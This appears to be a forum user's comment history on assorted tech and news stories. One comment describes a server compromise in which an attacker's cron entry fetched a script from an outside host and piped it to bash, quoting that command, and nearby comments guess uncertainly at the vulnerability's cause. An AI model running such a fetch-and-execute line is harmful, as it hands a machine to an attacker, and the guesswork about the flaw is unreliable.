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boonez123on Russia’s Possible Invasion of Ukraine

This is brilliant, why stop at political asylum? Change the narrative for attacking soldiers as a way to escape a regime and make some money. If you incentivized deserting without consequences that would be interesting. If each soldier was paid 10k to dessert and pick a country to immigrate to. Total cost 1.9billion on 190k soldiers. If you don’t dessert and join Ukraine in their fight you get 100k.

boonez123on Digital Minimalism: What are the alternative to screen time?

Get a road bike. Start small rides and watch the addiction grow.

boonez123on The UK’s last lighthouse keepers can teach us about isolation

https://www.independent.co.uk./independentpremium/long-reads...

Searching some text in Google in the link above gets me here: https://www.pressreader.com/uk/the-independent-1029/20210223...

boonez123on Body found in Canada identified as neo-nazi spam king

They don't call it the "sea to skid" highway for nothing.

boonez123on Joe Rogan Experience #1439 – Michael Osterholm – 10 Mar 2020

Nice to listen to a highly educated individual talk about their thoughts on this virus. A little too much Lyme disease. Overview: expect to live in this sort of environment for between 3 to 6 months. Vaccine is years away. Kids are carriers with no symptoms. Transmits via sharing air. Viral load is high prior to showing symptoms. Get lots of sleep, to keep immune system strong.

boonez123on China Is About to Fire Up Its HL-2M Tokamak

It's an axe. :)

boonez123on Congressman's phone password is 111111

Looks like 777777 to me.

boonez123on Flying-V: Flying long distances energy-efficiently

Great for thrill seekers though, double the value.

boonez123on Ask HN: What can we do about spam calls with spoofed numbers?

We need to fight back and create AI to carry on a dialogue with the spam caller as long as possible.

boonez123on Smart Condom

I just use the fitbit usually.

boonez123on Tesla Model S: the story of a very short happiness and excitement

Remember Windows 98, then Windows ME?

boonez123on Canada's R&D tax credit program hurts R&D in Canada

Get a new accountant.

boonez123on Match Group Buys PlentyOfFish for $575M

I think AdultFriendFinder was a big one, back in mid 2000's. Funny enough owned by a Christian dude.

boonez123on James Golick has died

I saw one of his talks and he definitely had a knack for taking extremely technical issues and making them easy to understand!

Below is more information surrounding the accident.

http://jpupdates.com/2014/12/28/puerto-vallarta-mexico-two-j...

boonez123on Rejected for a Job at the Container Store

You can only consider you've tried to get a job if you put out 100+ cv's. Sharpen the tool (ie. Make your CV perfect), then send out 100 resumes.

Good luck.

boonez123on Monthly revenue breakdown of PlentyOfFish's early days

From a technical level POF is not that great. From a UI perspective it's pretty good. From a aesthetic design perspective it's up there with Craigslist. Working at POF is like working at McDonalds. It's temporary. Pay is anemic for even the people who control the site, so they'll bounce once something better comes along.

In terms of running a company, I would prefer a style more like the guy who started MineCraft. Ie. Million dollar bonuses, really creating a corporate culture! Making employees live their dreams.

boonez123on Show HN: an online shop that bargains with you

I've created a platform which allows for price depreciation over time. See example here: http://cyclingdemo.efreeme.com/items/569

boonez123on FDA Warning Letter to 23andMe

Owner is married to the founder of google. I think they'll be okay. :)

boonez123on My really successful, unfundable, piece of shit startup I hate to love

More ads man! I had a site that had 1 million page views per day and we generated about $1500-$3000/day off the ads. Placement of the ad is imperative.

boonez123on Show HN: Food News - HN Clone Built With Django and Drum, Uses Persona for Auth

Cycling News clone: http://news.2wheellove.com

boonez123on Exploitation of an old Rails vulnerability

This could be the solution: http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release.... I think I was on 1.1 or something then did "gem update passenger"

boonez123on Exploitation of an old Rails vulnerability

I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.

boonez123on Exploitation of an old Rails vulnerability

In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.

boonez123on 3 Weeks already, $0 income – what are we doing wrong?

Go buy an ad in the Newspaper right under the Sudoku puzzle.

So many freemium models invest hundreds of man hours into development then expect to pay $0 for advertising. It doesn't work like that. If you invested 100's of hours into dev, then get ready to spend 1000's of hours marketing, or alternatively buy your way into the market which is expensive.

Good luck!

boonez123on Searching "www.Google.com" gives me "Sexy Bacon Bra" #2 result.

Well I'm on the corporate network, so I'm not sure how that works. www.google.com. If I use google.ca it seems that it is fine.

boonez123on Searching "www.Google.com" gives me "Sexy Bacon Bra" #2 result.

Seriously. No one thinks this is kind of odd?

boonez123on Ask HN: how do you name your business/product?

I found a domain search engine (that doesn't exist anymore) that let me filter domains. I wanted a 6 letter domain or shorter that was meaningful. There weren't that many options so I only had a handful to choose from. I got dixxo.com and dixxxo.com as well for $9/each. I also have hublify.com and dropclock.com.

I didn't really know what product I was building but I had those domains. It wasn't until last month were I pulled efreeme.com out and started using it... The point is get a good domain, and you'll never know when it might come up that you could use it.

boonez123on Ask HN: how do you name your business/product?

We currently rebranded everything from DropClock.com to eFreeme.com. The phonetics of the name of DropClock weren't that good and in addition most people confused it with DropBox. eFreeme.com on the other hand was easily understandable when saying it the first time. With that being said, we are currently selling DropClock.com domain in addition to 6000 stickers that are tailored to some sort of Buy/Sell website. We have over 5K invested in this brand and to just push it aside was a bit of a sore spot for me, but hoping that it's worth it in the long run.

My previous company was named UsedVancouver.com, unfortunately we needed to register every city in the world, and we did, so we ended up managing about 1200 domains.... OUCH. So if you have a product that is going to scale to individual cities make sure you make it generic enough to just "subdomain" it like craigslist does.

A short and catchy domain is what you want. However it's difficult to find those, but they are out there! And more importantly it's good to find a domain search engine that gives you lots of options. Good luck!

boonez123on Show HN: Your online WYSIWYG editor is broken

Nice job guys! This is amazing!

boonez123on Senators want to block Facebook’s Saverin from reentering the U.S

Lots of Rich people pay less income tax than the middle working class or even the lower working class. Should we kick them out of the country too, for being intelligent?

Don't we all want to pay less tax? If there was a legal loophole would you do it?